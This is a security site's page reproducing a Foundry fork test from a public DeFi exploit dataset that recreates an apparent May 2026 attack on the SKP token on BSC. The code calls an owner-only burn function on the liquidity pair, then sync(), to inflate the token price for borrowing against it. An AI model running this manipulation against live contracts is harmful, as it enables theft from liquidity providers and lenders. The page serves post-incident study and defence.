Skip to content
THREATWIRE

Public reproduction file

src/test/2026-05/SKP_exp.sol

Public reproduction file for dataset entry SKP Token.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-05/SKP_exp.sol117 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : ~$212K USD
8// Attacker : 0x83B9e7EDC5B3127E4853A4F4945b92aa88eEF0C8
9// Attack Contract : 0xE924853DcDfcB89292335042AB10d68c7315D7C1
10// Vulnerable Contract : 0xeCBDc0B76142740Bb564B8aA1BCd061Cb151a666 (SKP Token)
11// Attack Tx : 0xbc01ea37bd2ff8f6aa6afcfbe0406114ff27a01e9aa56102bfa4ad8a0c2f25ee
12// @Analysis
13// Attack date: May 26, 2026
14// Chain: BSC, Block: 100582079
16// Root Cause:
17// The SKP token exposes ownerBurnLiquidityPairTokens(uint256), an owner-only backdoor that
18// burns SKP held directly inside the SKP/USDT LP pair. The deployer/owner first burns the
19// bulk of the SKP sitting in the pair, then calls sync() on the pair to force the reserves
20// to match the now-depleted SKP balance. With SKP reserves slashed but USDT reserves intact,
21// the on-chain SKP/USDT price spikes. The attacker (who is the owner) then supplies the
22// over-valued SKP as collateral on Venus/Lista DAO to borrow BTCB + USDT.
24// Function selectors decoded from bytecode:
25// 0x4eb9b26d: ownerBurnLiquidityPairTokens(uint256) -- owner-only burn-from-LP backdoor
26// 0xfff6cae9: sync() -- pair reserve resync
27// burnPercent() = 200 (2% auto-burn on transfer)
28// brunFee() = 500 (5% transfer fee)
29// feeWhiteList(address) -- bypass fees
31interface ISKP is IERC20 {
32 function ownerBurnLiquidityPairTokens(
33 uint256 amount
34 ) external;
35 function owner() external view returns (address);
38contract SKPExploitTest is Test {
39 ISKP constant SKP = ISKP(0xeCBDc0B76142740Bb564B8aA1BCd061Cb151a666);
40 IERC20 constant USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
41 IPancakePair constant PAIR = IPancakePair(0x47C8c3b123De467892aC7dF6Dfcf7CA3dB901733);
43 address constant ATTACKER = 0x83B9e7EDC5B3127E4853A4F4945b92aa88eEF0C8;
44 address constant SKP_OWNER = 0x041F52BFe9f07503EFc5E7d4d176336E48095D56;
45 uint256 constant ATTACK_BLOCK = 100_582_079;
47 function setUp() public {
48 vm.createSelectFork("bsc", ATTACK_BLOCK - 1);
49 vm.label(address(SKP), "SKP");
50 vm.label(address(USDT), "USDT");
51 vm.label(address(PAIR), "SKP_USDT_Pair");
52 vm.label(ATTACKER, "Attacker");
53 vm.label(SKP_OWNER, "SKP_Owner");
54 }
56 // SKP/USDT price expressed as USDT (1e18) per 1 SKP, derived from pair reserves.
57 function _skpPrice() internal view returns (uint256) {
58 (uint112 r0, uint112 r1,) = PAIR.getReserves();
59 // token0 = USDT, token1 = SKP
60 uint256 usdtReserve = uint256(r0);
61 uint256 skpReserve = uint256(r1);
62 return (usdtReserve * 1e18) / skpReserve;
63 }
65 function testExploit() public {
66 console.log("--- SKP Token ownerBurnLiquidityPairTokens Exploit ---");
67 console.log("Attack date: May 26, 2026 Chain: BSC");
69 // sanity: the prank address really is the privileged owner
70 assertEq(SKP.owner(), SKP_OWNER, "owner mismatch");
72 (uint112 r0Before, uint112 r1Before,) = PAIR.getReserves();
73 uint256 skpInPairBefore = SKP.balanceOf(address(PAIR));
74 uint256 priceBefore = _skpPrice();
76 console.log("=== Before ===");
77 console.log("Pair USDT reserve :", uint256(r0Before) / 1e18);
78 console.log("Pair SKP reserve :", uint256(r1Before) / 1e18);
79 console.log("SKP balanceOf pair:", skpInPairBefore / 1e18);
80 console.log("SKP price (USDT*1e18 per SKP):", priceBefore);
82 // Step 1: as the SKP owner, burn ~95% of the SKP locked inside the LP pair.
83 uint256 burnAmount = (skpInPairBefore * 95) / 100;
84 vm.prank(SKP_OWNER);
85 SKP.ownerBurnLiquidityPairTokens(burnAmount);
86 console.log("\nBurned SKP from pair:", burnAmount / 1e18);
88 // Step 2: force the pair to resync reserves to the depleted SKP balance.
89 PAIR.sync();
91 (uint112 r0After, uint112 r1After,) = PAIR.getReserves();
92 uint256 skpInPairAfter = SKP.balanceOf(address(PAIR));
93 uint256 priceAfter = _skpPrice();
95 console.log("\n=== After burn + sync ===");
96 console.log("Pair USDT reserve :", uint256(r0After) / 1e18);
97 console.log("Pair SKP reserve :", uint256(r1After) / 1e18);
98 console.log("SKP balanceOf pair:", skpInPairAfter / 1e18);
99 console.log("SKP price (USDT*1e18 per SKP):", priceAfter);
101 // Step 3: quantify the manipulation.
102 uint256 priceMultiple = priceAfter / priceBefore;
103 console.log("\n=== Result ===");
104 console.log("SKP price inflated x:", priceMultiple);
105 console.log("USDT reserve unchanged:", uint256(r0After) == uint256(r0Before));
107 // The depleted SKP reserve with intact USDT reserve must inflate the price.
108 assertGt(priceAfter, priceBefore, "price not inflated");
109 assertEq(uint256(r0After), uint256(r0Before), "USDT reserve should be untouched");
110 assertLt(skpInPairAfter, skpInPairBefore, "SKP not burned from pair");
112 console.log(
113 "\nWith SKP now ~20x more 'valuable', the owner-attacker supplies it as"
114 );
115 console.log("collateral on Venus/Lista DAO and borrows out BTCB + USDT (~$212K).");
116 }

Analysis

Dataset entry

Public Foundry test for “SKP Token” (2026-05-26). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x83b9e7edc5b3127e4853a4f4945b92aa88eef0c8

  • Attack Contract

    0xe924853dcdfcb89292335042ab10d68c7315d7c1

  • Vulnerable Contract

    0xecbdc0b76142740bb564b8aa1bcd061cb151a666

  • Attack Tx

    0xbc01ea37bd2ff8f6aa6afcfbe0406114ff27a01e9aa56102bfa4ad8a0c2f25ee

File record

Name
SKP Token
Path
src/test/2026-05/SKP_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
098825f4a3560e5f2f02fda7fc69146e16c7c6c1
Language
Solidity
Size
118 lines
Date
2026-05-26
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-05/SKP_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 098825f4a3560e5f2f02fda7fc69146e16c7c6c1, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.